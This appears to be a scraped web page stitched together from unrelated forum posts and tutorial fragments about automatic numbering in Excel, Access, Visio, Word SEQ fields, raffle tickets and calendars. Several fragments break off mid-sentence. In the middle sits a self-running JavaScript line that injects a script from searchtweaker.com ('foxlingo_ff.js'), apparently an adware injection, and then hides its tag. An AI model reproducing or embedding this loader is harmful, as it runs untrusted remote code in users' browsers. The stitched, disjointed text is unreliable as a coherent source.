Is there a way to do this: I have a form called "List of Proposals Written" that is listed by th Proposal number. Is there a way to display on another excel spreadsheet, the mos current Proposal number? I know Access you use something like Dmax(ProposalID)+1 What should I do in Excel:confused: Any help would be greatly appreciated! Michae -- Message posted from http://www.ExcelForum.com "daniels012 >" < wrote > I have a form called "List of Proposals Written" that is listed by the > Propos...

Hi, I am creating a process map in Visio, is it possible to get Visio to number my boxs on my flowchart. At the moment I create the shape, put the text in but I have to manually put the number before the text, can visio do this automatically. Thanks Glenn In Visio 2003, try Tools > Add-ons > Visio Extras > Number Shapes. The same feature can be found in previous versions under Tools > Macros. -- Mark Nelson Microsoft Corporation This posting is provided "AS IS" with no warranties, and confers no rights. "Glenn Robertson"
* The solution assumes that there is only one stack to cut, but really there could be dozens of stacks. Take a run of the numbers 1-10000 for example. Let’s say you get 4-up on a sheet and the biggest stack that will fit in the guillotine is 500 sheets. A true cut and stack solution will print on the first stack 1-500, 501-1000, 1001-1500, 1501-2000. Ideal because the numbers can be guillotined and placed back onto a pallet for its next process. It also means I can provide these numbers first to the client and then they can wait for the other numbers (in case they had run out of stock and were in a hurry for replenishment stock). The solution doesn’t do that – instead, the first 500 stack will have the numbers 1-500, 2501-3000, 5001-5500, 7501-8000. That means not only is placement back onto the pallet confusing, but the customer has to wait for the artwork to be completely printed before even getting the first half of numbers. True, I could run the script several times to get the appropriate stacks, but why should I if the script did what I wanted? Especially if there are hundreds of stacks to print?
Budget is our income and sometimes this is positive. I need to make this column in a query all negitive values. I am using the IIf function but it is not working. Budget: [budget_amount] IIf ([budget_amount] >=0, [budget_amount]*-1, [budget_amount]) or is there another function I could use? On Mon, 29 Oct 2007 19:18:00 -0700, Tamm Fox wrote: > Budget is our income and sometimes this is positive. I need to make this > column in a query all negitive values. > > I am using the IIf function but it is not working. > > Budget: [budget_amount] IIf ([budget_amount] &g...
I would like to number a voucher book, i have place 4 vouchers on a page, the thing is that i want each of these vouchers to start with different number, 100, 200, 300, 400, and then i want to number them 99 times. The problem is that they have to be numbered only 1 per page, so that when i have printed them all i can easily crop them and staple them right up with having to go through it all.
Thank you for these clear instructions. I have had the same problem as Mommy Vaughan and followed the suggestion. However, on re-opening the Word document, I have the dialogue box Invalid Merge Field. I have to use Task Manager to close down Word. I am using Word 2010. Maybe that is part or all of the problem. Any ideas please? I need to sort this by tomorrow night to print them on Monday!
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
It's easy to enter a SEQ field manually. Begin by pressing [Ctrl]+[F9]. When Word displays the blank field, enter seq list1, as shown in Figure A. List1 is a required argument; you can use any descriptive name you like as long as it begins with an alpha character. The parentheses distinguish the numbers within the text. They're not part of the field code. Highlight the field code and press [F9] to display the field's value. As you can see in Figure B, the first field returns (1).
Understanding outline numbering and how outline numbering interacts with styles is crucial to your success in using Word with legal documents. Basic outline numbering can be handled much the same way as bullets and numbering. Seven default outline numbered lists come with Word. Three of the lists format the paragraphs with outline numbers. These lists are in the top row of the dialog box. The remaining four format the paragraphs with outline numbers and apply heading styles to the paragraphs and can be found in the bottom row.

Hi everybody. I am having a problem with a query that I am working on. I have a table containing customer names, trade dates, and dollar amounts. Customers can have multiple trades on the same day, sometimes even the same dollar amount. I want to have the table sorted by name, date, then dollars so the query pulls everything in from lowest/earliest to highest/latest. I was trying to make a query that pulled in the customer name and trade dates, then added a new column called "Row" that had the record number. I want the query to show all names and dates, since there are ...

Hi - are you creating your own tickets using the instructions on this page? If so, you can of course change the font and everything else in your Word document. If you are using the Raffle Ticket Creator app (app.raffleticketcreator.com) then you can't change the font size ... you'll just need to tinker with the exact words that you are including in order to get them to fit on the page. Hope that helps!

The process described in this tip works best if you have a single list in your document. Note that the sequence field starts at the beginning of the document and numbers through the whole document, based on the identifier you use. If you are going to have multiple lists in your document, then you can add a second AutoText entry to help with this. The only difference in the above steps is that the SEQ field you define would look like this:

I answer readers' questions about Microsoft Office when I can, but there's no guarantee. When contacting me, be as specific as possible. For example, "Please troubleshoot my workbook and fix what's wrong" probably won't get a response, but "Can you tell me why this formula isn't returning the expected results?" might. Please mention the app and version that you're using. I'm not reimbursed by TechRepublic for my time or expertise, nor do I ask for a fee from readers. You can contact me at susansalesharkins@gmail.com.
Another master layer is created for the names of the weekdays, which are also common to all pages. The sequential position of the background and the weekdays is different, which is why two master layers are needed. The weekdays layer is sixth from the bottom in the sequence of layers. This master layer must be placed on top of all layers (Figure 9).

For the calendar project, you will need 12 pages -- one for each month of the year. You can create multiple pages by duplicating the first page (with all its layers). Before you do that, however, you can rename the layers on Page 1, so that when you duplicate the page and its layers, the names of the layers are duplicated on the other pages as well. For example, I have given the layers intuitive names that indicate the type of content that I will place on each layer: Dates, Advertisements, Logo&Month, and Back&Photos. When you have renamed the layers on the first page, duplicate the page by right-clicking the Page 1 tab at the bottom of the application window and choosing Duplicate Page from the pop-up menu. Since you haven't added any objects to the page yet, you can accept the default options in the Duplicate Page dialog box and click OK. Repeat this process to create all 12 pages of the calendar. You can now rename the pages with the corresponding names of the months (Figure 3).
There’s an old Steve Martin joke about how to make a million dollars which starts, “First, get a million dollars…” That’s the key to this trick, too: First, get a bunch of numbers. Here’s a file with 1,197 numbers in it. Now import or paste those numbers into a thread so that the numbers appear in the right place. If you need two matching numbers, just import it twice.

However, what I want it to do now, instead of just putting the number into the attribute value, I want the number to be a suffix to the existing default tag value of the tag named "ID" which is "ADDRESS:" for some blocks and "ELEVATION:" for other blocks but the tag name that the routine always has to filter for is "ID". That way the user can pick anywhere on the block - not being forced to pick the tag we want to add numbers to. document numbering
×